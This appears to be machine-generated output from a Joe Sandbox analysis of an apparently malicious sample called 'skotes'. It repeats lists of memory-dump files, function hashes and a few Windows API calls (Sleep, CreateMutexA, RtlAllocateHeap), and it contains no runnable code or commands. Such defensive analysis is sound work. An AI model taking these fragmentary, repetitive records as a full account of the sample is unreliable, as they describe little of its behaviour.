Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: f1e45efbe95842e2fd7a214229148726155b80064a89d16b7b7f5b321ae418b5
Instruction ID: 13e0d7c1414df0136b52e16c10220ed9527a44dddf20e3d79cea23b8cd8337de
Opcode Fuzzy Hash: f1e45efbe95842e2fd7a214229148726155b80064a89d16b7b7f5b321ae418b5
Instruction Fuzzy Hash: 03313971B10104ABEB18DB78CC8DBADB762EFC1315F244328E854972D1EBBD99888752

Function 0075A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: 8e972d3c688bfe2c6ce75257dd76906454c4b6bed9eb9abcce29db0c6662fe5f
Instruction ID: 8f6a69c097a3683456537318fe4ee3562dc3a9b877a4c1ea15b1cd769337203d
Opcode Fuzzy Hash: 8e972d3c688bfe2c6ce75257dd76906454c4b6bed9eb9abcce29db0c6662fe5f
Instruction Fuzzy Hash: 96313771B10204EBEB18DB78DC8DBADB772EF85311F248728E814972D1D7BD59888752

Function 00759ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: 3f0f75cfdf5c2e70c93d83ea6d9fc90534d38a2c062e19144e093d877e2e7db9
Instruction ID: 99f9c1eb7fa36c4698f5a68ecf6f897449ae52ef90c893e475112223c998bc4e
Opcode Fuzzy Hash: 3f0f75cfdf5c2e70c93d83ea6d9fc90534d38a2c062e19144e093d877e2e7db9
Instruction Fuzzy Hash: E2217C71714200EBEB189B68DC8DBACB722EFC1311F204329E854D72D1DBBD69888752

Function 0075A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: 53a97f48373ff3ec03d79a3e132147d39d321f254d3059035f8e40d8f4546ad2
Instruction ID: a25f3ccf0ab699282f587df1bd04e6db06f0508d241a354b1f82ea52078d7d10
Opcode Fuzzy Hash: 53a97f48373ff3ec03d79a3e132147d39d321f254d3059035f8e40d8f4546ad2
Instruction Fuzzy Hash: 5C214070359204EAEB295768985EBED7311DF81301F24062AED44963C1CBFD658C8293

Function 0075A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: e92e62a038404c0a475164cf2458e19c14997fcd3f204d8913aefeeb835df1b9
Instruction ID: 4bf37ab2de37c5e9730da439af716bc7c4cb5908ed92903c1d2061e5c85ec62e
Opcode Fuzzy Hash: e92e62a038404c0a475164cf2458e19c14997fcd3f204d8913aefeeb835df1b9
Instruction Fuzzy Hash: 6C219A71714204EBEB18DB68DC8D7ACB722EFD1311F204329E804976D0DBBD69888753

Function 0078D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0078A813,00000001,00000364,00000006,000000FF,?,0078EE3F,?,00000004,00000000,?,?), ref: 0078D871

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
